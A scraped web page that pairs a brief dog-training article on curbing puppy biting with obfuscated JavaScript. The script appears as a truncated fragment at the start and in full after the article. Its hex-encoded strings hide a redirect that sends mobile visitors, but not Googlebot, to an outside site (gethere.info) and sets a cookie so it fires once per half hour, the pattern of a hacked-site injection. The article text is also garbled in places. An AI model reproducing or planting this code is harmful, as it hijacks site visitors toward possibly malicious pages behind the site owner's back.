|nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Stopping A Dog Biting

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Stopping A Dog Biting

When you first get a puppy it is probably going to be doing a lot of biting! This is a completely natural way for your puppy to get used to the world around it to get a feel for its environment. However, if you let it continue that can develop into something more serious with the dog gets older and its bite gets stronger.

First of all, you need to be aware of the fact that a dog doesn’t think like a human. If you shout at a dog when it bites then it won’t think that it has done something wrong but instead will think that you are giving it attention which is a positive thing. This can encourage the bad behaviour and is a common mistake that many share this website people make when they are trying to train a dog.

What you actually need to do is make sure that whenever your dog bites it gets absolutely no attention at all. To do this you would make a slight yelp so the dog knows that it has hurt you and then turn away and ignore the dog for a few seconds. If you do this every time that the dog bites before long it will know that it is unacceptable to bite and that it only gets attention when it doesn’t bite which is what you want.

With these tips you should be well on your way to making sure that your dog doesn’t bite when it gets older. However you do need to remember that you should always use positive training techniques when training a dog otherwise you can cause problems are actually damage your relationship with your pet in the future. This is the last thing you want to you need to make sure that you only praise the dog when it does something well.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}